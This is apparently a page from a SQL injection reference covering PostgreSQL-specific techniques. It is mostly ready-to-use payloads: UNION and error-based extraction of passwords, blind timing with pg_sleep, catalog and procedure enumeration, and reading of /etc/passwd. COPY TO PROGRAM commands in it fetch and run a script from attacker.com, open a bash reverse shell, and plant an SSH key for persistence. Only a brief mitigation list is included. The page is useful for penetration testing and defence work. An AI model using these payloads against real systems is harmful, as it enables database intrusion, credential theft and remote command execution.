PostgreSQL-specific Code

PostgreSQL provides several unique syntax features and functions that can be leveraged in SQL injection attacks. Understanding these PostgreSQL-specific techniques can help bypass filters and execute complex injections.

Dollar-Quoted Strings

PostgreSQL's unique string quoting mechanism allows strings without single quotes:

-- Standard dollar quotes
SELECT $$This is a string$$;

-- Tagged dollar quotes (useful for nesting)
SELECT $tag$This string contains $$nested$$ quotes$tag$;

-- In injection context
' UNION SELECT $$admin$$, $$password$$ --

This is extremely useful for bypassing single-quote filters.

Type Cast Shorthand (::)

PostgreSQL's :: cast operator is unique and useful for database detection:

-- Cast string to integer
SELECT '123'::int;

-- Cast to various types
SELECT 1::boolean;         -- true
SELECT '2025-01-01'::date;
SELECT 123::text;
SELECT '192.168.1.1'::inet;

-- Array casts
SELECT '{1,2,3}'::int[];

-- For database detection (fails on MySQL/MSSQL)
' AND 1::int=1 --

RETURNING Clause

PostgreSQL allows returning data from INSERT, UPDATE, and DELETE:

-- Return inserted data
INSERT INTO users (username) VALUES ('test') RETURNING id, username;

-- Return updated data
UPDATE users SET password='new' WHERE id=1 RETURNING *;

-- Return deleted data
DELETE FROM users WHERE id=1 RETURNING username, password;

-- In injection context
'; INSERT INTO log (data) VALUES ('x') RETURNING (SELECT password FROM users LIMIT 1) --

Array Syntax

PostgreSQL has native array support:

-- Array literals
SELECT ARRAY[1, 2, 3];
SELECT '{1,2,3}'::int[];

-- Array access (1-indexed)
SELECT (ARRAY['a','b','c'])[1];  -- Returns 'a'

-- Array functions
SELECT array_agg(username) FROM users;
SELECT unnest(ARRAY[1,2,3]);

-- In injection for aggregation
' UNION SELECT 1, array_to_string(array_agg(username), ':') FROM users --

PostgreSQL-specific Functions

Functions unique to PostgreSQL:

String Aggregation

-- Aggregate all usernames into single string
SELECT string_agg(username, ',') FROM users;

-- With ordering
SELECT string_agg(username, ',' ORDER BY username) FROM users;

-- Distinct values
SELECT string_agg(DISTINCT role, ',') FROM users;

Generate Series

Useful for brute-force and enumeration:

-- Generate numbers 1-10
SELECT generate_series(1, 10);

-- Generate dates
SELECT generate_series('2025-01-01'::date, '2025-01-10'::date, '1 day');

-- Character enumeration (for blind injection)
SELECT chr(n) FROM generate_series(32, 126) AS n;

XML Helper Functions

Extract data in XML format (bypasses output restrictions):

-- Query results as XML
SELECT query_to_xml('SELECT * FROM users', true, true, '');

-- Single table as XML
SELECT table_to_xml('users', true, true, '');

-- Entire database as XML (extracts all data - use with caution, large output)
SELECT database_to_xml(true, true, '');

-- Database schema/structure only (metadata, not data)
SELECT database_to_xmlschema(true, true, '');

-- In UNION injection
' UNION SELECT 1, query_to_xml('SELECT password FROM users',true,true,'')::text --

COPY Command

PostgreSQL's COPY is unique and powerful for file I/O and command execution. See also: Reading Files and Command Execution.

Permission Requirements:

File Read (requires pg_read_server_files or superuser):

-- Read file contents into a table
CREATE TEMP TABLE file_contents (line TEXT);
COPY file_contents FROM '/etc/passwd';
SELECT * FROM file_contents;

-- In injection context (stacked query)
'; CREATE TEMP TABLE t(c TEXT); COPY t FROM '/etc/passwd'; --

File Write (requires pg_write_server_files or superuser):

-- Write query results to file
COPY (SELECT 'malicious content') TO '/tmp/evil.txt';

-- Write SSH key for persistence
COPY (SELECT '-----BEGIN RSA PRIVATE KEY-----...') TO '/root/.ssh/authorized_keys';

Command Execution (requires pg_execute_server_program or superuser):

-- Execute OS command and capture output
CREATE TEMP TABLE cmd_output (line TEXT);
COPY cmd_output FROM PROGRAM 'id; whoami; uname -a';
SELECT * FROM cmd_output;

-- Execute command without capturing output
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash';

-- Reverse shell
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"';

COPY FROM STDIN (lower privilege, requires INSERT only):

-- Used in multi-statement injection when you control input stream
COPY users (username, password) FROM STDIN;
attacker    hacked
\.

Mitigation:

• Never grant pg_read_server_files, pg_write_server_files, or pg_execute_server_program to application users
• Use connection poolers (PgBouncer) in transaction mode which blocks multi-statement COPY attacks
• Disable COPY ... PROGRAM at compile time if not needed (--disable-copy-program)
• Monitor for COPY commands in query logs

Large Objects

PostgreSQL's large object system for file operations:

-- Create large object from file
SELECT lo_import('/etc/passwd');  -- Returns OID

-- Read large object
SELECT convert_from(lo_get(16444), 'UTF8');

-- Write large object to file
SELECT lo_export(16444, '/tmp/output.txt');

-- Create large object from data
SELECT lo_from_bytea(0, 'file content'::bytea);

-- Delete large object
SELECT lo_unlink(16444);

PL/pgSQL Anonymous Blocks

Execute procedural code without creating a function:

DO $$
BEGIN
    RAISE NOTICE 'PostgreSQL version: %', version();
END
$$;

-- With variable
DO $$
DECLARE
    pwd TEXT;
BEGIN
    SELECT password INTO pwd FROM users WHERE username = 'admin';
    RAISE NOTICE 'Password: %', pwd;
END
$$;

Error-Based Data Extraction

PostgreSQL-specific error-based techniques:

-- Using CAST to reveal data in errors
SELECT CAST(version() AS int);
-- Error: invalid input syntax for type integer: "PostgreSQL 15.4..."

-- Using :: shorthand
SELECT (SELECT password FROM users LIMIT 1)::int;
-- Error: invalid input syntax for type integer: "secret_password"

-- With markers for easy extraction
SELECT ('~' || (SELECT version()) || '~')::int;
-- Error: invalid input syntax for type integer: "~PostgreSQL 15.4~"

Conditional Expressions

PostgreSQL CASE expressions:

-- Simple CASE
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;

-- With subquery for blind injection
SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE username='admin')>0
       THEN pg_sleep(5) ELSE pg_sleep(0) END;

-- COALESCE for NULL handling
SELECT COALESCE(NULL, 'default');

-- NULLIF
SELECT NULLIF(1, 1);  -- Returns NULL
SELECT NULLIF(1, 2);  -- Returns 1

Regular Expression Operators

PostgreSQL has powerful regex support:

-- POSIX regex match
SELECT 'admin' ~ '^a';      -- true
SELECT 'admin' ~* '^A';     -- true (case-insensitive)

-- Not match
SELECT 'admin' !~ '^b';     -- true

-- SIMILAR TO (SQL standard)
SELECT 'admin' SIMILAR TO 'a%';

-- Regex functions
SELECT regexp_matches('admin123', '([a-z]+)([0-9]+)');
SELECT regexp_replace('admin123', '[0-9]', 'X', 'g');

PostgreSQL Information Tables

PostgreSQL uses both information_schema and pg_catalog:

-- Standard information_schema
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- PostgreSQL-specific pg_catalog
SELECT tablename FROM pg_tables WHERE schemaname='public';
SELECT attname FROM pg_attribute WHERE attrelid='users'::regclass AND attnum > 0;

-- System catalogs
SELECT datname FROM pg_database;
SELECT rolname FROM pg_roles;
SELECT usename FROM pg_user;

Session Variables

Unlike MySQL's @@variables, PostgreSQL uses functions:

-- Current settings
SELECT current_setting('server_version');
SELECT current_setting('data_directory');
SELECT current_setting('log_directory');

-- Set session variable
SET myvar.test = 'value';
SELECT current_setting('myvar.test');

-- GUC variables
SHOW ALL;
SHOW server_version;
SHOW data_directory;

Prepared Statements (Dynamic SQL)

Execute dynamic SQL:

-- Prepare and execute
PREPARE stmt AS SELECT * FROM users WHERE id = $1;
EXECUTE stmt(1);
DEALLOCATE stmt;

-- Using EXECUTE in PL/pgSQL
DO $$
BEGIN
    EXECUTE 'SELECT * FROM users WHERE id = ' || 1;
END
$$;

Version-specific Features

JSON (9.2+), JSONB (9.4+)

JSON functions are useful for extracting structured data:

-- JSON (9.2+): Extract values
SELECT '{"user":"admin","pass":"secret"}'::json->>'pass';

-- JSONB (9.4+): Binary JSON with indexing and containment operators
SELECT '{"a":1}'::jsonb @> '{"a":1}'::jsonb;  -- Containment check

-- Extract from JSON columns in injection
' UNION SELECT 1, config::json->>'db_password' FROM settings --

-- Aggregate to JSON for exfiltration
SELECT json_agg(row_to_json(u)) FROM users u;

Procedures (11+)

PostgreSQL 11+ supports stored procedures with CALL. Exploiting procedures requires prior enumeration to discover procedure names and signatures.

Enumerating Procedures:

-- List all user-defined procedures (not functions)
SELECT n.nspname AS schema, p.proname AS procedure, pg_get_function_arguments(p.oid) AS args
FROM pg_proc p
JOIN pg_namespace n ON p.pronamespace = n.oid
WHERE p.prokind = 'p'  -- 'p' = procedure (vs 'f' = function)
AND n.nspname NOT IN ('pg_catalog', 'information_schema');

-- Find procedures with interesting names
SELECT proname FROM pg_proc WHERE prokind = 'p'
AND proname ~* '(admin|password|reset|auth|user|delete|update)';

Calling Procedures in Injection Context:

-- Direct CALL (if you know the procedure name and arguments)
CALL schema.procedure_name(arg1, arg2);

-- In stacked query injection (requires knowing procedure signature)
'; CALL admin_reset_password('attacker', 'newpass') --

-- Enumerate first, then exploit
'; SELECT proname, pg_get_function_arguments(oid) FROM pg_proc WHERE prokind='p' --

Note: Unlike functions, procedures cannot be called in SELECT statements—they require the CALL statement, which typically needs stacked query support in the injection context.

Other Version Features

Key Differences from MySQL